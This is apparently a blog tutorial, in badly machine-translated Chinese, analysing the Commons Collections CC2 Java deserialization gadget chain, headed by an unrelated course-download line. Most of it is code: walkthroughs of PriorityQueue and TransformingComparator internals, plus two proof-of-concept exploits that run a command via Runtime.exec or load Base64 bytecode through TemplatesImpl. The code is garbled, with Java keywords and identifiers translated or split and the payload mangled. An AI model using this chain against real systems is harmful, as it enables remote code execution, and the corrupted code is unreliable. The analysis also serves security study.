download:Java全栈工程师【已完结】辉夜姬
Java反序列化-CC2分析
如何使用PriorityQueue和TransformingComparator作为切入点和跳板
首先,让我们看看TransformingComparator类作为跳板是如何被调用到利用链的。
public int compare(final I obj1,final I obj2) {
final O value 1 = this . transformer . transform(obj 1);
final O value 2 = this . transformer . transform(obj 2);
返回this.decorated.compare(value1,value 2);
}
复制代码
在TransformingComparator#compare方法中,调用transform方法来修改obj1和obj2的值。正是这种方法调用了利用链。
让我们看看PriorityQueue类是如何作为入口点使用的。
私有void read object(Java . io . objectinputstream s)
抛出java.io.IOException,ClassNotFoundException {
//读入大小,以及任何隐藏的东西
s . default read object();
//读入(并丢弃)数组长度
s . readint();
queue =新对象[大小];
//读入所有元素。
for(int I = 0;I <大小;i++)
queue[I]= s . read object();
//元素保证处于“正确的顺序”,但是
// spec从来没有解释过那可能是什么。
heap ify();
}
复制代码
在PriorityQueue#readObject方法中,反序列化的数据存储在队列字段中,然后调用heapify方法调整数据,形成二进制堆。
调整数据时,会对数据进行比较,较小的数排在第一位。在比较数据时,会调用compare方法,这样PriorityQueue类就与TransformingComparator连接起来了。看看这个操作是如何在代码中实现的
私有void heapify() {
for(int I =(size > > > 1)-1;I > = 0;我-)
siftDown(即,(E)queue[I]);
}
复制代码
在heapify方法中,通过向后移动数字来调整数据。
private void siftDown(int k,E x) {
if(比较器!=空)
siftDownUsingComparator(k,x);
其他
siftDownComparable(k,x);
}
复制代码
在向后移动之前,会判断是否有比较器,如果有,调用if中的方法,否则调用else中的方法。这里直接看I-minute方法,因为只有在有比较器的情况下,才会调用比较器中的方法来比较两个数。
private void siftdownsusingcomparator(int k,E x) {
int half = size > > > 1;
while (k <一半){
int child = (k
object c = queue[child];
int right = child+1;
if(右<大小&&
comparator.compare((E) c,(E) queue[right]) > 0)
c =队列[child = right];
if(比较器. compare(x,(E) c)
打破;
queue[k]= c;
k =孩子;
}
queue[k]= x;
}
复制代码
如您所见,if中的方法调用comparator中的比较方法来比较两个数字。正是这一步允许PriorityQueue类作为入口点与TransformingComparator类作为跳板相结合。
用优先级队列和转换比较器构造poc
首先是利用链。
PriorityQueue.readObject()
TransformingComparator.compare()
ChainedTransformer.transform()
InvokerTransformer.transform()
复制代码
开始构建概念验证
公共静态void main(String[] args)引发异常{
//构造恶意数组
变压器[]变压器=新变压器[]{
new constant transformer(runtime . class),
new invoker transformer(" get method ",新类[]{String.class,Class[]。class},新对象[]{"getRuntime ",新类[]{}}),
new InvokerTransformer("invoke ",新类[]{Object.class,Object[]。class},新对象[]{null,新对象[]{}}),
new InvokerTransformer("exec ",新类[]{String.class},新对象[]{"calc"})
};
//构造一个无害数组
Transformer[]test = new Transformer[]{ };
//执行add方法调用compare方法进行比较时使用无害数组。
chained transformer chain = new chained transformer(测试);
priority queue queue = new priority queue(new transforming comparator(chain));
queue . add(1);
queue . add(1);
//调用add方法后,通过反射修改chain的数组,用恶意数组替换无害数组,然后在反序列化二进制堆时调用恶意数组执行代码。
Field field = chain.getClass()。getDeclaredField(" iTransformers ");
field . set accessible(true);
field.set(链条、变压器);
ObjectOutputStream OOS = new ObjectOutputStream(new file output stream(" CC2 "));
oos.writeObject(队列);
ObjectInputStream ois = new ObjectInputStream(new file inputstream(" CC2 "));
ois . read object();
}
复制代码
在这里也可以使用CC3中的TemplatesImpl类来构造poc。
这里就不解释了,只给poc。
公共静态void main(String[] args)引发异常{
//创建恶意的字节码
byte[] bytes = Base64.getDecoder()。decode(" yv 66 vgaaadqaiqoabgatcgauabuiabykabqafwcagacagqeacxryyw5 zzm 9 ybqeacihmy 29 TL 3n 1 bi 9 vcmcvyxbh y2 hll 3 hhbgful 2 ludgvybmfs L3 hzbh rjl 0 rptttbtgnvbs 9 zdw 4v 4 VB 3 jnl 2 fwywnozs 94 bwwvaw 50 zxjuywwvc 2 vyawfsaxplc I 9 tzxjpyxpemf 0 aw 9 usgfuzgxlcjspgeavgenvzgubaa
template simul obj = new template simple();
setFieldValue(obj," _bytecodes ",new byte[][]{ bytes });
setFieldValue(obj," _name "," sakut 2 ");
setFieldValue(obj," _tfactory ",new TransformerFactoryImpl());
//首先使用无害的有效载荷,避免提前触发漏洞引用URLDNS
transformer transformer = new invoker transformer(" toString ",null,null);
priority queue queue = new priority queue(新转换比较器(转换器));
//将恶意字节码添加到队列中,并在反序列化二进制堆时将其用作比较参数。
queue . add(obj);
queue . add(obj);
//执行add方法反序列化后,修改有效载荷时会触发漏洞代码。
setFieldValue(transformer,“iMethodName”,“new transformer”);
ObjectOutputStream OOS = new ObjectOutputStream(new file output stream(" CC2 "));
oos.writeObject(队列);
ObjectInputStream ois = new ObjectInputStream(new file inputstream(" CC2 "));
ois . read object();
}
公共静态void setFieldValue(对象对象,字符串字段名称,对象值)引发异常{
Field field = obj.getClass()。getDeclaredField(字段名称);
field . set accessible(true);
field.set(obj,value);
}
复制代码
CC2公共图书馆的功能
在上面的poc中,你可能认为commons-collections4和commons-collections没有区别。这两个新使用的类也可以在commons-collections中找到。为什么不能使用commons-collections来构造poc呢?
在这里,仅仅通过查看poc,您可能看不到任何区别,但是当您使用commons-collections运行这个poc时,您会发现一个错误。这里,在commons-collections4中导入的所有类都被注入并替换为commons-collections中的类。